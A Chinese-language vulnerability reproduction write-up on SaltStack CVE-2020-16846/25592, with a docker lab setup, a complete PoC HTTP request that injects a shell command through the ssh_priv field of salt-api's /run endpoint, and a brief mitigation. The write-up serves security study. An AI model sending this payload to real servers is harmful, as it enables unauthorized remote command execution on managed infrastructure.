漏洞概述
①漏洞简介
2020年11月,SaltStack正式披露了两个漏洞CVE-2020-16846和CVE-2020-25592。CVE-2020-25592允许任意用户使用SSH模块,CVE-2020-16846允许用户执行任意命令。链接这两个漏洞将允许未经授权的攻击者通过Salt API执行任意命令。
②SaltStack
SaltStack是基于Python开发的一套C/S架构配置管理工具,其使用server-agent通信模型部署轻松迅速,扩展性好,容易管理大批量服务器,可实现服务器之间秒级通讯。
③漏洞危害
CVE-2020-16846允许用户执行任意命令,在SaltStack中,API接口虽不是默认开启配置,但大多数用户会选择开启salt-api,故利用该漏洞注入服务器成功率很高。攻击者可通过构造恶意请求,操作SaltStack的API接口,从而执行命令并进一步控制服务器。
漏洞复现
①环境搭建
使用docker启动saltstack cve-2020-16846环境
docker-compose up -d
服务启动后,访问https://172.17.0.1:8000,可看见如下页面。
②启动burpsuite抓包并上传poc
poc
POST /run HTTP/1.1
Host: 127.0.0.1:8000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/x-yaml
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 87
token=12312&client=ssh&tgt=*&fun=a&roster=whip1ash&ssh_priv=aaa|touch%20/tmp/success%3b
ssh_priv即为所指向的命令
③进入Docker容器,查看命令是否已成功执行
docker-compose exec saltstack bash
ls /tmp/
touch文件成功
修复方案
在不必要的情况下,手动关闭API接口